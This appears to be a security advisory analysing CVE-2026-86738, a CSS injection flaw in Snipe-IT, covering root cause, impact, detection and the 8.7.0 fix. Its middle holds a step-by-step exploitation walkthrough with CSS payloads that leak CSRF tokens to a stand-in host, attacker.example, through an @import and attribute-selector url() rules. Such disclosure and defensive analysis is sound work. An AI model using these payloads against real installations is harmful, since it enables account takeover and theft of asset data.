CVE-2026-86738: 
NixOS vulnerability analysis and mitigation

CVE-2026-86738 is a CSS injection vulnerability in Snipe-IT's Custom CSS field that allows a superuser to exfiltrate CSRF tokens from other superusers, enabling account takeover. It affects Snipe-IT versions from v3.0 through v8.6.3 (all versions before 8.7.0). The vulnerability was reported on 2026-08-02 by Christopher Finks of Constraint Layer and publicly disclosed on 2026-09-08. It carries a CVSS v3.1 base score of 8.7 (High) and a CVSS v4.0 base score of 9.3 (Critical) (GitHub Advisory, VulnCheck).

The root cause is an improper encode-then-selectively-decode sanitization chain in the Setting::show_custom_css() method (CWE-79, CWE-116). The pre-fix implementation called e() to HTML-encode all special characters, then reversed the encoding for > and " via str_replace(), leaving the CSS attack surface fully open. This allowed @import at-rules and url() references pointing to attacker-controlled hosts to pass through the sanitizer unchanged. The sanitized CSS was then emitted unescaped inside a <style> block on every page load for every authenticated user via {!! Setting::show_custom_css() !!} in the layout templates. An attacker plants a payload such as input[name="_token"][value^="a"] { background: url("https://attacker.example/?t=a") } delivered via an external @import, which exfiltrates CSRF tokens character by character through attribute-selector rules (GitHub Advisory, Fix Commit).

A superuser who plants a malicious CSS payload gains the ability to exfiltrate CSRF tokens from every other superuser who loads any page in the application, with no additional interaction required from the victim beyond normal authenticated use. Exfiltrated CSRF tokens can be used to forge state-changing requests as any peer superuser, enabling full account takeover — including creating new superuser accounts, altering audit trails, and exfiltrating asset data. Confidentiality and integrity impacts are both rated High; availability is not directly affected. Single-superuser installations are not exploitable (GitHub Advisory).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at the time of disclosure (Feedly, VulnCheck). The EPSS score is approximately 0.00275, indicating a low probability of near-term exploitation. The NVD SSVC assessment classifies exploitation as "none" and notes the attack is not automatable, as it requires superuser privileges to plant the payload. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog.

1. Gain superuser access: Obtain superuser credentials for the target Snipe-IT instance (e.g., through phishing, credential stuffing, or insider access), since write access to settings.custom_css via POST /admin/branding requires superuser privileges.
2. Host malicious CSS: Set up an attacker-controlled server (e.g., https://attacker.example/exfil.css) to serve a CSS file containing attribute-selector CSRF exfiltration rules, such as:

   input[name="_token"][value^="a"] { background: url("https://attacker.example/?t=a"); }
   input[name="_token"][value^="b"] { background: url("https://attacker.example/?t=b"); }
   /* ... repeat for each character */

3. Plant the payload: Navigate to the Snipe-IT branding settings page and insert the following into the Custom CSS field, then save:

   @import url("https://attacker.example/exfil.css");

4. Wait for victim page load: The malicious @import is now embedded in the global <style> block rendered on every page for every authenticated user. When any other superuser loads any page, their browser fetches the external stylesheet and evaluates the attribute-selector rules.
5. Collect CSRF tokens: Monitor the attacker-controlled server logs for incoming requests containing CSRF token characters (e.g., /?t=a), and reconstruct the full token character by character.
6. Forge state-changing requests: Use the exfiltrated CSRF token to submit authenticated requests as the victim superuser — for example, creating a new superuser account or modifying application settings — via a separate channel such as a crafted HTML form or script (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from the Snipe-IT server or victim browsers to unexpected external domains, particularly those matching patterns like /?t=<single_character> or fetching external .css files not associated with legitimate branding assets.
• Logs: Web server or application logs showing requests to POST /admin/branding with a custom_css parameter containing @import or url(http substrings; browser-side network logs (if captured) showing requests to attacker-controlled domains triggered from Snipe-IT pages.
• Database: The settings.custom_css column in the database containing @import, url(http, url(https, url(//), or data: substrings, which are blocked by the patched sanitizer but would be present in unpatched installations with a planted payload.
• File System: No specific file artifacts expected, as the payload is stored in the database rather than the filesystem (GitHub Advisory).

Upgrade Snipe-IT to version 8.7.0 or later, which rewrites Setting::show_custom_css() to use strip_tags(), strip all @import at-rules via regex, and filter url() references to block external, protocol-relative, data:, javascript:, and vbscript: URIs while preserving same-origin relative paths (Fix Commit). As a workaround prior to patching, restrict write access to the Custom CSS field to the minimum number of trusted administrators and audit the current settings.custom_css value for any @import or external url() references. Monitor for suspicious CSS modifications in the branding configuration (VulnCheck).

The vulnerability was reported by Christopher Finks of Constraint Layer as part of an authorized source-audit engagement against Snipe-IT 8.6.3, and the Snipe-IT maintainers promptly issued a fix in version 8.7.0 (GitHub Advisory). The disclosure was picked up by standard vulnerability aggregators including VulnCheck, VulnDB, and CVEFeed shortly after publication, with no notable broader media coverage or significant social media discussion observed beyond automated CVE tracking accounts (Feedly).